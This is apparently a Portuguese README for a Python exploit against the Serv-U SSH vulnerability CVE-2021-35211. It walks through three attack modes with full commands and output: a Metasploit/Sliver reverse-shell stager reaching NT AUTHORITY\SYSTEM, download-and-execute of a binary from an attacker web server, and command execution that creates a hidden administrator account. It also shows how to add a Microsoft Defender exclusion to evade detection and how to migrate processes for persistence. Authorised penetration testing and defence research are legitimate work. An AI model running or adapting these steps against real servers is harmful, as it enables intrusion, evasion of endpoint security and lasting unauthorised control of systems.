
Exploit em Python para a vulnerabilidade do Serv-U SSH (CVE-2021-35211) com múltiplos modos de payload: stage, exec e download-execute, permitindo execução de shellcode e injeção de comandos.
O exploit não funciona todas as vezes, mas funciona o suficiente para executar shellcode em cerca de 1 a cada 5 ou 6 execuções. No entanto, às vezes um exploit malsucedido derruba o servidor Serv-U. Certifique-se de que suas regras de engajamento permitam o risco de perda ou degradação do serviço. Os sintomas observados nos testes incluem:
Caveat emptor.
Versões são importantes. Este exploit usa endereços ROP fixos (hard-coded) válidos apenas contra a versão 15.2.3.717 do Serv-U. Talvez possamos adicionar outras versões; por favor, pergunte se você precisar que funcione com versões diferentes do Serv-U ou do Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Ele aceita os seguintes argumentos:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Há três modos (ou payloads) que você pode usar em um ataque bem-sucedido:
stageexecdownloadexecApós um exploit bem-sucedido, executa um stager de shellcode compatível com Metasploit/Sliver. É o menos confiável de todos os payloads; considere `downloadexec1 em vez disso. Execute assim:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost e stagePort apontarão para um handler em escuta na sua máquina Sliver/Metasploit. Você pode escolher qualquer payload, mas descobri que o único que funciona de forma confiável é windows/x64/shell/reverse_tcp. Isso é uma pena, pois não se trata de um shell criptografado e você precisará verificar suas regras de engajamento antes de abrir algo assim.
Novamente, caveat emptor.
Configure-o no Metasploit rodando na sua máquina Kali assim:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Então execute o exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De volta à máquina Kali, você deve ver a solicitação do stage e o shell de comando iniciando:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
O suporte a Sliver no payload stager é altamente experimental e raramente funciona. Se funcionar, normalmente você verá as sessões iniciarem e morrerem imediatamente. Mas se você conseguir uma sessão que não termine imediatamente, poderá tomar medidas para manter seu acesso Sliver migrando para outro processo.
No seu servidor Sliver, execute o comando stage-listener para configurar seu listener. Veja a documentação do Sliver para mais detalhes sobre staging:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Execute o exploit no modo stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Se o exploit funcionar (e raramente funciona com payloads Sliver ou Meterpreter), você verá algo assim (e sim, o Sliver inventou esse nome de payload sozinho!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
A primeira coisa que você deve fazer é migrar para outro processo, porque há uma boa chance de sua sessão Sliver morrer e não voltar, e eu não sei a causa raiz no momento em que escrevo isto.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
Nesse ponto, você deve ter uma sessão Sliver sólida, imune às imprevisibilidades do Serv-U e deste exploit.
É o modo mais confiável e o menos provável de ser sinalizado pela segurança de endpoint do Microsoft Defender. Isso porque ele usa um comando do Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para adicionar uma exclusão de diretório ao Microsoft Defender, de modo que binários Sliver/Meterpreter/qualquer coisa não sejam verificados em busca de malware. Isso protegerá você contra o Windows Defender, mas só isso; você precisará considerar outras tecnologias de segurança de endpoint, IDS de rede, etc.
Em caso de sucesso, baixa um binário de uma URL e o executa. Você precisará de um servidor web hospedando seu arquivo executável. Eu usei Python, mas observe que estou testando em uma rede local sem SSL. Em explorações reais, você precisará verificar suas regras de engajamento se quiser usar URLs não criptografadas.
Não é a primeira vez: caveat emptor.
Execute um listener HTTP simples assim:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Com o listener em execução, você pode executar o exploit:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Você deve ver algo assim no seu listener:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
O alvo executará calc.exe e reiniciará o serviço Serv-U para permitir que os usuários voltem a se conectar. Observe que o executável não exibirá uma janela, mas se você executar este exemplo, deverá ver wincalc.exe no Gerenciador de Tarefas.
Em caso de sucesso, executa um comando no alvo. Execute assim:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Este exploit tende a derrubar o processo remoto, infelizmente. Geralmente ele reinicia e estou tentando ver se consigo torná-lo mais estável, mas até lá, por favor, lembre-se: verifique suas regras de engajamento e caveat emptor.
O fato de o ASLR estar desabilitado na dll do Serv-U foi uma sorte absurda e poupou muita dor de cabeça.
Outras mitigações, como o Control Flow Guard ("CFG"), também estavam desabilitadas. Isso novamente facilitou a escrita de um exploit sem precisar contornar o acesso restrito a funções críticas, como GetProcAddress().
Vale destacar que o método que uso para calcular o endereço da pilha ROP pode, ocasionalmente, gerar um endereço que não está alinhado a 64 bits. Como resultado, quando GetProcAddress() atinge uma instrução MOVAPS (que exige que os endereços de memória estejam alinhados), o exploit trava. Para tornar o exploit mais confiável, uma solução seria forçar a pilha ROP a ficar localizada em um endereço alinhado; isso exigiria alguma manipulação do payload ROP e fica como exercício para o leitor.